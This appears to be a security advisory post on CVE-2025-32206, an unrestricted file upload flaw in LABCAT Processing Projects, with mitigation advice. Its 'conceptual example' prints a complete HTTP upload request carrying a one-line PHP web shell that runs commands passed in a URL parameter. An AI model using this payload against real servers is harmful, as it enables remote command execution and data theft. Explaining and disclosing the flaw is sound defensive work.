CVE-2025-32206: Unrestricted File Upload Vulnerability in LABCAT Processing Projects

Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a severe vulnerability, CVE-2025-32206, in LABCAT Processing Projects. This vulnerability can allow attackers to upload a web shell onto a web server, thus potentially compromising the system or causing data leakage. Given the high Common Vulnerability Scoring System (CVSS) score of 9.1, addressing this vulnerability is of paramount importance. This post will cover the details of the vulnerability, how it works, and recommended mitigation strategies.

How the Exploit Works

The exploit works by exploiting the unrestricted file upload vulnerability in LABCAT Processing Projects. Attackers can upload a web shell, a script that can be uploaded to a web server to enable remote access to the file system. Once a web shell is uploaded, it gives the attacker the ability to perform various tasks, such as file management, running shell commands, and even executing arbitrary scripts or binaries on the server.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This represents a HTTP POST request, attempting to upload a malicious web shell onto the server.

POST /upload/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In the above example, the POST request attempts to upload a PHP web shell file. If successful, the attacker could then interact with the web shell by sending HTTP GET requests, allowing them to execute arbitrary shell commands on the server.

Recommended Mitigation

The primary mitigation strategy for this vulnerability is to apply the vendor’s patch. If a patch is not available or cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. It’s important to understand that these are temporary measures and that the best course of action is to update the affected systems as soon as possible.
